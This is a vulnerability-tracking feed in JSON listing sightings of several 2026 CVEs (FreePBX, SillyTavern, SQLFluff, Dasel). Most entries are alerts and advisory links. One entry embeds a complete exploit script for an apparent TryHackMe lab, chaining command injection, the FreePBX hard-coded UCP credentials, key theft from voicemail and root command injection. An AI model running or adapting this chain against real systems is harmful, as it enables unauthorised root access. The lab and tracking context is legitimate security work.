{"vulnerability": "cve-2026-4637", "sightings": [{"uuid": "a4fcfbe5-ab36-4f99-a366-255e422d3c3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-46376", "type": "seen", "source": "https://bsky.app/profile/vulny-app.bsky.social/post/3ms2etnzim62m", "content": "A critical-severity fix just shipped for Sangoma Freepbx. If your stack uses it, patch to the fixed release soon. Quietly closes the gap before anyone goes looking. CVE-2026-46376", "creation_timestamp": "2026-08-01T21:08:01.390515Z"}, {"uuid": "fd2e5152-dece-4424-afd4-d54cbdd58797", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-46372", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2026/CVE-2026-46372.yaml", "content": "", "creation_timestamp": "2026-05-20T08:35:00.000000Z"}, {"uuid": "5a249aeb-4eac-4025-8001-e4ac022412f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-46378", "type": "published-proof-of-concept", "source": "https://github.com/TomWright/dasel/security/advisories/GHSA-m6xr-fvfg-5g64", "content": "", "creation_timestamp": "2026-05-13T20:50:17.000000Z"}, {"uuid": "3423a817-385d-4a81-be79-458f16bc3efc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-46377", "type": "published-proof-of-concept", "source": "https://github.com/TomWright/dasel/security/advisories/GHSA-m5j3-4634-c2vq", "content": "", "creation_timestamp": "2026-05-13T20:39:40.000000Z"}, {"uuid": "182fd7e8-1dc6-4e98-af9a-f90344cfd632", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-46376", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmyvyn3gkj2r", "content": "CVE-2026-46376 - FreePBX: Unauthenticated Use of Hard-Coded Credentials Vulnerability in FreePBX UCP Interface\nCVE ID : CVE-2026-46376\n \n Published : May 29, 2026, 2:16 p.m. | 55\u00a0minutes ago\n \n Description : FreePBX is an open source IP PBX. From 15.0.42 to before 16.0.45 and ...", "creation_timestamp": "2026-05-29T16:03:48.468413Z"}, {"uuid": "b6ea10ec-c023-47aa-bdec-80d33088f2f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-46376", "type": "seen", "source": "https://t.me/GithubRedTeam/86439", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-46376\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a portbuster1337\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-29 18:27:34\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-46376 - FreePBX Unauthenticated UCP Access via Hard-Coded Credentials\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-29T19:00:04.000000Z"}, {"uuid": "8bb1dbfe-d4e8-400a-9b8d-193ed04fb1fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-46372", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mmznc7rrtw23", "content": "\ud83d\udfe0 CVE-2026-46372 - High (8.5)\n\nSillyTavern is a locally installed user interface that allows users to interact with text generat...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-46372/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-29T23:00:43.036089Z"}, {"uuid": "db0a83cb-b704-4bc1-9302-27590ac4ca11", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-46376", "type": "seen", "source": "Telegram/7Ee_ES1995AuZh7L7sqmaK3TqJ83qHuwNNd4oo-aSS2rD4M", "content": "", "creation_timestamp": "2026-05-29T21:00:04.000000Z"}, {"uuid": "cd7d4a68-6d94-45cf-8f27-93fa461bddaa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-46376", "type": "seen", "source": "Telegram/0a4Mie4mnrD5nSuJkVgKyWL1alP_Sr-QiQEf3S_f43L8qbY", "content": "", "creation_timestamp": "2026-05-29T19:00:46.000000Z"}, {"uuid": "e04da693-3135-4f7e-aab2-35d589027665", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-46373", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mnvp3uya7z2o", "content": "SQLFluff 4.1.0\u672a\u6e80\u3067\u3001\u4fe1\u983c\u3055\u308c\u3066\u3044\u306a\u3044\u30e6\u30fc\u30b6\u30fc\u304cSQL\u30af\u30a8\u30ea\u3092\u9001\u4fe1\u3059\u308b\u3068\u3001\u904e\u5270\u306a\u30cd\u30b9\u30c8\u306b\u3088\u308a\u30ea\u30bd\u30fc\u30b9\u67af\u6e07\u306b\u3088\u308b\u30b5\u30fc\u30d3\u30b9\u62d2\u5426\u3092\u5f15\u304d\u8d77\u3053\u3059\u53ef\u80fd\u6027\u304c\u3042\u308b\u3002\nCVE-2026-46373 CVSS 7.5 | HIGH", "creation_timestamp": "2026-06-10T02:47:29.556517Z"}, {"uuid": "2c1a6cea-11f7-49a5-b907-c5a317913565", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-46373", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mnvwk4iogo2p", "content": "\ud83d\udfe0 CVE-2026-46373 - High (7.5)\n\nSQLFluff is a modular SQL linter and auto-formatter with support for multiple dialects and templa...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-46373/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-06-10T05:00:44.317370Z"}, {"uuid": "0002afa5-56e8-4e19-b2fe-2ed8b50ebe81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-46374", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mnw5atubit2n", "content": "\ud83d\udfe0 CVE-2026-46374 - High (7.5)\n\nSQLFluff is a modular SQL linter and auto-formatter with support for multiple dialects and templa...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-46374/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-06-10T07:00:50.365996Z"}, {"uuid": "246ffa8e-bd26-4207-b0f1-9662786e5dd6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-46376", "type": "seen", "source": "https://bsky.app/profile/securitycyberuk.bsky.social/post/3motnlq7a2v2b", "content": "\ud83d\udea8  ALERT: CVE-2026-46376\n\nCVSS 9.8/10\n\n\ud83d\udccb WHAT IT IS:\nFreePBX is an open source IP PBX. From 15.0.42 to before 16.0.45 and 17.0.7, unauthenticated users may be able to access the User Control Panel (UCP) using hard-coded initial template credentials if these were not immediately changed by the Admini", "creation_timestamp": "2026-06-22T00:40:52.539346Z"}, {"uuid": "19a28309-d016-4845-afd2-27876838589f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-46376", "type": "seen", "source": "https://gist.github.com/anir0y/7ee4801cba330d1ae562d3e9a6422b0e", "content": "#!/usr/bin/env python3\n\"\"\"\nInfinity Pool (TryHackMe, Hacker Holidays 2026 Day 11) - full chain to root.\n\n  1. Command injection in the edge tool /internal/netcheck (ping, shell=True)\n     gives code execution as the web user and the user flag.\n  2. The Watchtower ops console on 127.0.0.1:3000 leaks FreePBX UCP credentials\n     and the automation endpoint on 127.0.0.1:9000.\n  3. CVE-2026-46376: FreePBXUCPTemplateCreator ships with hard-coded UCP\n     credentials. Logging into UCP unlocks the mailbox.\n  4. The automation Bearer key is stashed in a voicemail message's caller-ID,\n     read back through the UCP Voicemail grid API.\n  5. The automation job runner on :9000 runs as root and builds\n       tar czf /var/automation/exports/.tgz /var/automation/data\n     with the attacker-controlled report name. Injecting a shell metacharacter\n     into report executes commands as root.\n\nThe internal services are loopback-only, so this script runs its curls THROUGH\nthe netcheck command injection (the same primitive as the foothold). Point it at\nthe public edge IP.\n\nUsage:\n    python3 infinity_pool.py 10.10.10.10\n\nAuthor: anir0y  |  https://classroom.anir0y.in\n\"\"\"\n\nimport sys\nimport re\nimport requests\n\nUCP_USER = \"FreePBXUCPTemplateCreator\"     # CVE-2026-46376 hard-coded template account\nUCP_PASS = \"St4yN0t1c3d_2026\"              # leaked by the watchtower /api/config\nVM_EXT = \"9919988\"                          # the template account's extension\n\n\ndef netcheck(base, cmd):\n    \"\"\"Run a shell command on the box via the edge command injection, return stdout.\"\"\"\n    r = requests.post(f\"{base}/internal/netcheck\",\n                      data={\"host\": f\"127.0.0.1; {cmd}\"}, timeout=30)\n    m = re.search(r'\n(.*?)', r.text, re.S)\n    out = m.group(1) if m else \"\"\n    # strip the ping noise the command shares its output with\n    return \"\\n\".join(l for l in out.splitlines()\n                     if not re.search(r\"PING |icmp_seq|packet loss|rtt min|--- 127\", l))\n\n\ndef main():\n    if len(sys.argv) < 2:\n        sys.exit(f\"usage: {sys.argv[0]} \")\n    base = f\"http://{sys.argv[1]}\"\n\n    print(\"[*] step 1: command injection -> web + user flag\")\n    print(\"    \" + netcheck(base, \"id\").strip())\n    print(\"    user flag: \" + netcheck(base, \"cat /home/web/user.txt\").strip())\n\n    print(\"[*] step 2: watchtower leaks the UCP creds and the automation endpoint\")\n    print(\"    \" + netcheck(base, \"curl -s http://127.0.0.1:3000/api/config\").strip()[:160] + \" ...\")\n\n    # steps 3-4 run entirely on the box (UCP is loopback-only). A small helper\n    # script is executed via the injection: log in, then read the voicemail grid.\n    print(\"[*] step 3+4: UCP login (CVE-2026-46376) and read the key from the voicemail CID\")\n    helper = r'''\nB=http://127.0.0.1:8080\nTOK=$(curl -s -c /tmp/cj $B/ucp/index.php | grep -oE 'name=\"token\" value=\"[^\"]+\"' | grep -oE 'value=\"[^\"]+\"' | head -1 | sed 's/value=\"//;s/\"//')\ncurl -s -b /tmp/cj -c /tmp/cj -X POST $B/ucp/index.php --data-urlencode \"username=%s\" --data-urlencode \"password=%s\" --data-urlencode \"token=$TOK\" --data \"module=User&command=login\" >/dev/null\ncurl -s -b /tmp/cj -H \"X-Requested-With: XMLHttpRequest\" \"$B/ucp/index.php?module=voicemail&command=grid&folder=INBOX&ext=%s\"\n''' % (UCP_USER, UCP_PASS, VM_EXT)\n    grid = netcheck(base, \"bash -c \" + repr(helper))\n    km = re.search(r\"cc_auto_[0-9a-f]+\", grid)\n    if not km:\n        sys.exit(\"[-] could not recover the automation key from the voicemail\")\n    key = km.group(0)\n    print(\"    automation key: \" + key)\n\n    print(\"[*] step 5: inject into the root job runner's report name\")\n    cmd = (\"curl -s -X POST http://127.0.0.1:9000/jobs/export \"\n           f\"-H 'Authorization: Bearer {key}' -H 'Content-Type: application/json' \"\n           \"-d '{\\\"report\\\":\\\"x; id; echo ---; cat /root/root.txt #\\\"}'\")\n    out = netcheck(base, cmd)\n    print(out.strip())\n    fm = re.search(r\"THM\\{[^}]+\\}\", out)\n    if fm:\n        print(\"\\n[+] root flag: \" + fm.group(0))\n\n\nif __name__ == \"__main__\":\n    main()\n", "creation_timestamp": "2026-08-07T16:11:35.427559Z"}, {"uuid": "5823f86e-49c2-4175-a46b-53117714b58b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-46378", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqrykn3wqb22", "content": "CVE-2026-46378 - Dasel: Denial of service in dasel selector lexer due to infinite loop on unterminated regex literal\nCVE ID : CVE-2026-46378\n \n Published : July 16, 2026, 7:16 p.m. | 18\u00a0minutes ago\n \n Description : Dasel is a command-line tool and library for querying, modifyi...", "creation_timestamp": "2026-07-16T19:41:44.191418Z"}, {"uuid": "4644fc99-69df-432d-9af4-23058550dcd6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-46377", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqrzidqrfn2w", "content": "CVE-2026-46377 - Dasel: Index-out-of-range panic in dasel selector lexer on trailing backslash in quoted string\nCVE ID : CVE-2026-46377\n \n Published : July 16, 2026, 7:16 p.m. | 18\u00a0minutes ago\n \n Description : Dasel is a command-line tool and library for querying, modifying, a...", "creation_timestamp": "2026-07-16T19:58:20.753522Z"}]}